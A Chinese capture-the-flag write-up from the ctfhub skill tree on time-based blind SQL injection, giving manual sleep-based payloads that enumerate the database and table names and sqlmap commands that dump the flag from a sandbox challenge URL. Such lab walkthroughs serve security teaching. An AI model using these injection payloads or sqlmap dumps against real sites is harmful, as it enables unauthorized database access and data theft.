2025.1.15——五、时间盲注

题目来源:ctfhub技能树

目录

一、基本操作:整理已知信息,得本题为时间盲注

二、手工注入解题

[step 1:手工注入确认为时间盲注](#step 1:手工注入确认为时间盲注)

[step 2:爆数据库长度、名称](#step 2:爆数据库长度、名称)

1.数据库长度

2.数据库名

[step 3:爆表数、长度、名称](#step 3:爆表数、长度、名称)

1.爆表数

2.爆表名长度

3.爆具体名称

三、sqlmap解题

step1:爆数据库名

[step 2:爆表名](#step 2:爆表名)

[step 3:爆列名](#step 3:爆列名)

[step 4:爆具体数据](#step 4:爆具体数据)

四、小结


一、基本操作:整理已知信息,得本题为时间盲注

二、手工注入解题

step 1:手工注入确认为时间盲注

键入:1

键入:1'

以上均无反应

但一下payload

sql 复制代码
 1 and sleep(10)

明显感觉到延迟

step 2:爆数据库长度、名称

1.数据库长度

sql 复制代码
1 and if(length(database())=4,sleep(10),1)

2.数据库名

sql 复制代码
1 and if(ascii(substr(database(),1,1))>110,sleep(5),1)

先判断字符范围

逐步确认信息

sql 复制代码
1 and if(ascii(substr(database(),1,1))=115,sleep(15),1)

逐步得到信息115 113 108 105,得数据库名是sqli

step 3:爆表数、长度、名称

1.爆表数

sql 复制代码
1 and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1)

2.爆表名长度

正确payload如下

sql 复制代码
1 and if(length((select table_name from information_schema.tables where table_schema='sqli' limit 0,1))=4,sleep(10),1)

注:这里length()函数中需要一个括号将select语句括起来,才算完整,否则运行不下去

3.爆具体名称

以下payload无语法错误,但是运行不出来是因为表排列顺序不同

1 and if(ascii((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1)=110,sleep(15),1)

1 and if(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1)='n',sleep(15),1)

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=110,sleep(15),1)

正确payload如下

sql 复制代码
1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=102,sleep(5),1)

这里的问题是表的顺序,第一个表是news,第二个表是flag

三、sqlmap解题

sqlmap爆数据库名、表名、列名、具体数据形式

sqlmap -u url --current-db

sqlmap -u url -D sqli --tables

sqlmap -u url -D sqli -T flag --columns

sqlmap -u url -D sqli -T flag -C flag --dump

step1:爆数据库名

sql 复制代码
python sqlmap.py -u http://challenge-230a0a451072c076.sandbox.ctfhub.com:10800/?id=1 --current-db

step 2:爆表名

sql 复制代码
python sqlmap.py -u http://challenge-230a0a451072c076.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

step 3:爆列名

sql 复制代码
python sqlmap.py -u http://challenge-230a0a451072c076.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

step 4:爆具体数据

sql 复制代码
python sqlmap.py -u http://challenge-230a0a451072c076.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump

四、小结

sqlmap中有value字样,是说有几个值,比如爆具体数据时显示1,说明有一个值在其中

相关推荐
RestCloud6 小时前
SQL Server到Hive:批处理ETL性能提升30%的实战经验
数据库·api
RestCloud6 小时前
为什么说零代码 ETL 是未来趋势?
数据库·api
ClouGence8 小时前
CloudCanal + Paimon + SelectDB 从 0 到 1 构建实时湖仓
数据库
LH_R13 小时前
OneTerm开源堡垒机实战(三):功能扩展与效率提升
运维·后端·安全
DemonAvenger15 小时前
NoSQL与MySQL混合架构设计:从入门到实战的最佳实践
数据库·mysql·性能优化
AAA修煤气灶刘哥1 天前
后端人速藏!数据库PD建模避坑指南
数据库·后端·mysql
你的人类朋友1 天前
什么是API签名?
前端·后端·安全
RestCloud1 天前
揭秘 CDC 技术:让数据库同步快人一步
数据库·api
深盾安全1 天前
ProGuard混淆在Android程序中的应用
安全
CYRUS_STUDIO1 天前
利用 Linux 信号机制(SIGTRAP)实现 Android 下的反调试
android·安全·逆向